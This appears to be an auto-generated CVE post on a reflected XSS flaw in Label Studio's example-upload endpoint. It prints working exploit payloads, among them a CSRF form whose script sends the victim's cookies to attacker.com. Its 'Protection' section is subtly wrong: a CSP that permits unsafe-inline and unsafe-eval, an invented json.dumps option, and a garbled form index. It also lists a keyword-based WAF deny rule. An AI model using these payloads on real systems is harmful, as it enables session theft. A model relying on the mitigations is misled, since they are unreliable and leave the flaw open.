Listen to this Post
How the CVE Works
The vulnerability occurs in Label Studio’s `upload_example_using_config` function, where user-supplied input (label_config) is processed and returned in an HTTP response without proper sanitization. The `label_config` parameter accepts HTML-like content, which is later embedded directly into the JSON response. An attacker can craft a malicious payload containing JavaScript, which is then executed in the victim’s browser due to improper output encoding. The insecure use of `HttpResponse(json.dumps(task_data))` (line 57) fails to escape or validate the input, leading to reflected XSS.
DailyCVE Form
Platform: Label Studio
Version: <1.8.2
Vulnerability: Reflected XSS
Severity: Medium
Date: 2023-04-15
What Undercode Say:
Exploitation
1. Manual Exploit (cURL):
curl -X POST "http://{host}/projects/upload-example/" \
-d "label_config=<View><Text name=\"text\" value=\"$text<script>alert(1)</script>\"/></View>"
2. Automated Testing (Python):
import requests
payload = "<View><Text name='text' value='$text<script>alert(1)</script>'/></View>"
response = requests.post("http://vulnerable-host/projects/upload-example/", data={"label_config": payload})
print(response.text)
3. CSRF + XSS (HTML):
<form action="http://victim-domain/projects/upload-example/" method="POST">
<input type="hidden" name="label_config" value="<View><Text name='text' value='$text<script>fetch(`https://attacker.com/?cookie=${document.cookie}`)</script>'/></View>">
</form>
<script>document.forms[bash].submit();</script>
Protection
1. Input Sanitization:
from bleach import clean
task_data = clean(json.dumps(task_data), tags=[], attributes={})
2. Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
3. Django Middleware Fix:
from django.http import JsonResponse
return JsonResponse(task_data, safe=False, json_dumps_params={'escape_forward_slashes': False})
4. WAF Rule (ModSecurity):
SecRule ARGS:label_config "@contains <script>" "id:1001,deny,status:400,msg:'XSS Attempt'"
5. Patch Validation:
grep -r "HttpResponse(json.dumps" /path/to/label_studio/
6. Mitigation (Nginx):
add_header X-XSS-Protection "1; mode=block"; add_header Content-Type "application/json; charset=utf-8" always;
7. Log Analysis (ELK Query):
{ "query": { "match": { "message": { "query": "POST /projects/upload-example/", "operator": "and" } } } }
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

